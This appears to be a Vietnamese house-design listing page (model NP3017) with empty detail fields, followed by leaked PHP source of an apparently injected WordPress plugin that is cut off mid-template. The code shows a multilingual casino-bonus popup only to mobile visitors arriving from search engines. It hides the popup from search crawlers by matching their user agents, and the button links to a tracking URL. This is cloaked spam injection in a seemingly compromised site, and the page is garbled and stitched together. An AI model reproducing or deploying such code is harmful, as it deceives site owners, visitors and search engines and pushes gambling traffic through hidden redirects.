Mẫu nhà 3 tầng hiện đại NP3017
- Địa chỉ:
- Hạng mục:
- Diện tích:
- Phòng khách:
- Phòng ngủ:
- Phòng tắm:


if (!defined(‘ABSPATH’)) exit;
class SMP_Search_Mobile_Popup {
    public function __construct() {
        if (is_admin()) return;
        add_action(‘wp_enqueue_scripts’, [$this, ‘enqueue_assets’]);
        add_action(‘wp_footer’, [$this, ‘render_popup_markup’]);
        add_filter(‘smp_allowed_referrers’, [$this, ‘default_allowed_referrers’]);
        add_filter(‘smp_blocked_bots’, [$this, ‘default_blocked_bots’]);
        add_filter(‘smp_popup_texts’, [$this, ‘get_localized_texts’]);
        add_filter(‘smp_popup_settings’, [$this, ‘default_settings’]);
    }
    public function default_allowed_referrers($domains) {
        return [
            ‘google.’, ‘bing.com’, ‘duckduckgo.com’, ‘yahoo.’, ‘yandex.’,
            ‘ecosia.org’, ‘search.brave.com’, ‘chat.openai.com’, ‘openai.com’,
            ‘baidu.com’, ‘naver.com’, ‘seznam.cz’, ‘qwant.com’
        ];
    }
    public function default_blocked_bots($bots) {
        return [‘googlebot’,’bingbot’,’duckduckbot’,’yandexbot’,’baiduspider’,
                ‘ahrefsbot’,’semrush’,’mj12bot’,’crawler’,’spider’,’bot’];
    }
    public function get_localized_texts($texts) {
        $translations = [
            ‘en’ => [
                ‘title’ => ‘🎁 Exclusive Bonus!’,
                ‘desc’ => ‘Special offer for new visitors – Get your welcome bonus right now!’,
                ‘cta_text’ => ‘💰 Up to €500 + 200 Free Spins’,
                ‘button’ => ‘Claim Bonus Now’,
                ‘close_label’ => ‘Close’,
                ‘disclaimer’ => ’18+. T&C Apply. Play Responsibly.’,
            ],
            ‘de’ => [
                ‘title’ => ‘🎁 Exklusiver Bonus!’,
                ‘desc’ => ‘Sonderangebot für neue Besucher – Holen Sie sich jetzt Ihren Willkommensbonus!’,
                ‘cta_text’ => ‘💰 Bis zu €500 + 200 Freispiele’,
                ‘button’ => ‘Bonus Jetzt Sichern’,
                ‘close_label’ => ‘Schließen’,
                ‘disclaimer’ => ’18+. AGB gelten. Verantwortungsvoll spielen.’,
            ],
            ‘es’ => [
                ‘title’ => ‘🎁 ¡Bono Exclusivo!’,
                ‘desc’ => ‘Oferta especial para nuevos visitantes – ¡Obtén tu bono de bienvenida ahora!’,
                ‘cta_text’ => ‘💰 Hasta €500 + 200 Giros Gratis’,
                ‘button’ => ‘Reclamar Bono Ahora’,
                ‘close_label’ => ‘Cerrar’,
                ‘disclaimer’ => ’18+. Se aplican T&C. Juega responsablemente.’,
            ],
            ‘pt’ => [
                ‘title’ => ‘🎁 Bônus Exclusivo!’,
                ‘desc’ => ‘Oferta especial para novos visitantes – Receba seu bônus de boas-vindas agora!’,
                ‘cta_text’ => ‘💰 Até €500 + 200 Rodadas Grátis’,
                ‘button’ => ‘Resgatar Bônus Agora’,
                ‘close_label’ => ‘Fechar’,
                ‘disclaimer’ => ’18+. T&C aplicam-se. Jogue responsavelmente.’,
            ],
            ‘fr’ => [
                ‘title’ => ‘🎁 Bonus Exclusif!’,
                ‘desc’ => ‘Offre spéciale pour les nouveaux visiteurs – Obtenez votre bonus de bienvenue maintenant!’,
                ‘cta_text’ => ‘💰 Jusqu\’à 500€ + 200 Tours Gratuits’,
                ‘button’ => ‘Réclamer le Bonus’,
                ‘close_label’ => ‘Fermer’,
                ‘disclaimer’ => ’18+. CGU applicables. Jouez responsable.’,
            ],
            ‘nl’ => [
                ‘title’ => ‘🎁 Exclusieve Bonus!’,
                ‘desc’ => ‘Speciale aanbieding voor nieuwe bezoekers – Ontvang nu je welkomstbonus!’,
                ‘cta_text’ => ‘💰 Tot €500 + 200 Gratis Spins’,
                ‘button’ => ‘Claim Bonus Nu’,
                ‘close_label’ => ‘Sluiten’,
                ‘disclaimer’ => ’18+. Voorwaarden van toepassing. Speel verantwoord.’,
            ],
            ‘uk’ => [
                ‘title’ => ‘🎁 Ексклюзивний Бонус!’,
                ‘desc’ => ‘Спеціальна пропозиція для нових відвідувачів – Отримайте вітальний бонус прямо зараз!’,
                ‘cta_text’ => ‘💰 До €500 + 200 Безкоштовних Обертань’,
                ‘button’ => ‘Отримати Бонус’,
                ‘close_label’ => ‘Закрити’,
                ‘disclaimer’ => ’18+. Застосовуються умови. Грайте відповідально.’,
            ],
            ‘ja’ => [
                ‘title’ => ‘🎁 限定ボーナス!’,
                ‘desc’ => ‘新規訪問者様限定 – 今すぐウェルカムボーナスを獲得!’,
                ‘cta_text’ => ‘💰 最大€500 + 200フリースピン’,
                ‘button’ => ‘今すぐボーナスを獲得’,
                ‘close_label’ => ‘閉じる’,
                ‘disclaimer’ => ’18歳以上。利用規約が適用されます。’,
            ],
            ‘vi’ => [
                ‘title’ => ‘🎁 Phần Thưởng Độc Quyền!’,
                ‘desc’ => ‘Ưu đãi đặc biệt cho khách mới – Nhận ngay phần thưởng chào mừng!’,
                ‘cta_text’ => ‘💰 Lên đến €500 + 200 Vòng Quay Miễn Phí’,
                ‘button’ => ‘Nhận Thưởng Ngay’,
                ‘close_label’ => ‘Đóng’,
                ‘disclaimer’ => ’18+. Áp dụng điều khoản.’,
            ],
            ‘hu’ => [
                ‘title’ => ‘🎁 Exkluzív Bónusz!’,
                ‘desc’ => ‘Különleges ajánlat új látogatóknak – Szerezd meg az üdvözlő bónuszt most!’,
                ‘cta_text’ => ‘💰 Akár €500 + 200 Ingyen Pörgetés’,
                ‘button’ => ‘Bónusz Igénylése’,
                ‘close_label’ => ‘Bezárás’,
                ‘disclaimer’ => ’18+. T&C érvényes. Játssz felelősségteljesen.’,
            ],
            ‘bg’ => [
                ‘title’ => ‘🎁 Ексклузивен Бонус!’,
                ‘desc’ => ‘Специална оферта за нови посетители – Вземете вашия бонус добре дошли сега!’,
                ‘cta_text’ => ‘💰 До €500 + 200 Безплатни Завъртания’,
                ‘button’ => ‘Вземи Бонус Сега’,
                ‘close_label’ => ‘Затвори’,
                ‘disclaimer’ => ’18+. Прилагат се условия.’,
            ],
            ‘pl’ => [
                ‘title’ => ‘🎁 Ekskluzywny Bonus!’,
                ‘desc’ => ‘Specjalna oferta dla nowych gości – Odbierz bonus powitalny teraz!’,
                ‘cta_text’ => ‘💰 Do €500 + 200 Darmowych Spinów’,
                ‘button’ => ‘Odbierz Bonus’,
                ‘close_label’ => ‘Zamknij’,
                ‘disclaimer’ => ’18+. Obowiązują warunki. Graj odpowiedzialnie.’,
            ],
            ‘it’ => [
                ‘title’ => ‘🎁 Bonus Esclusivo!’,
                ‘desc’ => ‘Offerta speciale per nuovi visitatori – Ottieni il tuo bonus di benvenuto ora!’,
                ‘cta_text’ => ‘💰 Fino a €500 + 200 Giri Gratis’,
                ‘button’ => ‘Richiedi Bonus Ora’,
                ‘close_label’ => ‘Chiudi’,
                ‘disclaimer’ => ’18+. Si applicano T&C. Gioca responsabilmente.’,
            ],
            ‘ro’ => [
                ‘title’ => ‘🎁 Bonus Exclusiv!’,
                ‘desc’ => ‘Ofertă specială pentru vizitatori noi – Obține bonusul de bun venit acum!’,
                ‘cta_text’ => ‘💰 Până la €500 + 200 Rotiri Gratuite’,
                ‘button’ => ‘Revendică Bonusul’,
                ‘close_label’ => ‘Închide’,
                ‘disclaimer’ => ’18+. Se aplică T&C. Joacă responsabil.’,
            ],
            ‘cs’ => [
                ‘title’ => ‘🎁 Exkluzivní Bonus!’,
                ‘desc’ => ‘Speciální nabídka pro nové návštěvníky – Získejte svůj uvítací bonus hned!’,
                ‘cta_text’ => ‘💰 Až €500 + 200 Otočení Zdarma’,
                ‘button’ => ‘Získat Bonus’,
                ‘close_label’ => ‘Zavřít’,
                ‘disclaimer’ => ’18+. Platí podmínky. Hrajte zodpovědně.’,
            ],
            ‘sv’ => [
                ‘title’ => ‘🎁 Exklusiv Bonus!’,
                ‘desc’ => ‘Specialerbjudande för nya besökare – Få din välkomstbonus nu!’,
                ‘cta_text’ => ‘💰 Upp till €500 + 200 Gratisspinn’,
                ‘button’ => ‘Hämta Bonus Nu’,
                ‘close_label’ => ‘Stäng’,
                ‘disclaimer’ => ’18+. Regler gäller. Spela ansvarsfullt.’,
            ],
            ‘fi’ => [
                ‘title’ => ‘🎁 Eksklusiivinen Bonus!’,
                ‘desc’ => ‘Erikoistarjous uusille vierailijoille – Lunasta tervetuliaisbonus nyt!’,
                ‘cta_text’ => ‘💰 Jopa €500 + 200 Ilmaiskierrosta’,
                ‘button’ => ‘Lunasta Bonus’,
                ‘close_label’ => ‘Sulje’,
                ‘disclaimer’ => ’18+. Ehdot voimassa. Pelaa vastuullisesti.’,
            ],
            ‘no’ => [
                ‘title’ => ‘🎁 Eksklusiv Bonus!’,
                ‘desc’ => ‘Spesialtilbud for nye besøkende – Få din velkomstbonus nå!’,
                ‘cta_text’ => ‘💰 Opptil €500 + 200 Gratisspinn’,
                ‘button’ => ‘Hent Bonus Nå’,
                ‘close_label’ => ‘Lukk’,
                ‘disclaimer’ => ’18+. Vilkår gjelder. Spill ansvarlig.’,
            ],
            ‘da’ => [
                ‘title’ => ‘🎁 Eksklusiv Bonus!’,
                ‘desc’ => ‘Særligt tilbud til nye besøgende – Få din velkomstbonus nu!’,
                ‘cta_text’ => ‘💰 Op til €500 + 200 Gratis Spins’,
                ‘button’ => ‘Hent Bonus Nu’,
                ‘close_label’ => ‘Luk’,
                ‘disclaimer’ => ’18+. Vilkår gælder. Spil ansvarligt.’,
            ]
        ];
$user_lang = $this->detect_user_language();
        return isset($translations[$user_lang]) ? $translations[$user_lang] : $translations[‘en’];
    }
    private function detect_user_language() {
        $accept_language = isset($_SERVER[‘HTTP_ACCEPT_LANGUAGE’]) ? $_SERVER[‘HTTP_ACCEPT_LANGUAGE’] : ”;
        if (empty($accept_language)) {
            return ‘en’;
        }
        $supported_languages = [
            ‘en’, ‘de’, ‘es’, ‘pt’, ‘fr’, ‘nl’, ‘uk’, ‘ja’, ‘vi’,
            ‘hu’, ‘bg’, ‘pl’, ‘it’, ‘ro’, ‘cs’, ‘sv’, ‘fi’, ‘no’, ‘da’
        ];
        preg_match_all(‘/([a-z]{1,8}(-[a-z]{1,8})?)\s*(;\s*q\s*=\s*(1|0\.[0-9]+))?/i’,
                       $accept_language, $matches);
        if (count($matches[1])) {
            $langs = array_combine($matches[1], $matches[4]);
            foreach ($langs as $lang => $val) {
                if ($val === ”) $langs[$lang] = 1;
            }
arsort($langs, SORT_NUMERIC);
            foreach ($langs as $lang => $val) {
                $primary_lang = strtolower(substr($lang, 0, 2));
                if (in_array($primary_lang, $supported_languages)) {
                    return $primary_lang;
                }
            }
        }
        return ‘en’;
    }
    public function default_settings($opts) {
        return [
            ‘delay_ms’ => 1000,
            ‘show_always’ => true,
            ‘width_px’ => 420,
            ‘btn_url’ => ‘https://leadtrk.vip/gSRRfN’,
        ];
    }
    private function is_bot_ua(): bool {
        $ua = strtolower($_SERVER[‘HTTP_USER_AGENT’] ?? ”);
        if (!$ua) return false;
        foreach (apply_filters(‘smp_blocked_bots’, []) as $mask) {
            if ($mask && strpos($ua, strtolower($mask)) !== false) return true;
        }
        return false;
    }
    public function enqueue_assets() {
        if (!wp_is_mobile()) return;
        if ($this->is_bot_ua()) return;
        $allowed = apply_filters(‘smp_allowed_referrers’, []);
        $texts = apply_filters(‘smp_popup_texts’, []);
        $opts = apply_filters(‘smp_popup_settings’, []);
        wp_register_style(‘smp-popup’, false, [], null);
        wp_enqueue_style(‘smp-popup’);
        wp_add_inline_style(‘smp-popup’, $this->css($opts));
        wp_register_script(‘smp-popup’, false, [], null, true);
        wp_enqueue_script(‘smp-popup’);
        $payload = [
            ‘allowedRefDomains’ => array_values($allowed),
            ‘blockedBots’ => array_values(apply_filters(‘smp_blocked_bots’, [])),
            ‘texts’ => $texts,
            ‘opts’ => $opts,
            ‘userLang’ => $this->detect_user_language(),
        ];
        wp_add_inline_script(‘smp-popup’, ‘window.__SMP__ = ‘.wp_json_encode($payload).’;’, ‘before’);
        wp_add_inline_script(‘smp-popup’, $this->js(), ‘after’);
    }
    public function render_popup_markup() {
        if (!wp_is_mobile()) return;
        if ($this->is_bot_ua()) return;
        $t = apply_filters(‘smp_popup_texts’, []);
        $o = apply_filters(‘smp_popup_settings’, []);
        ?>

 
                         
                         
                             
                                         
                                         
                                         
                                         
                                         
                                         
                                        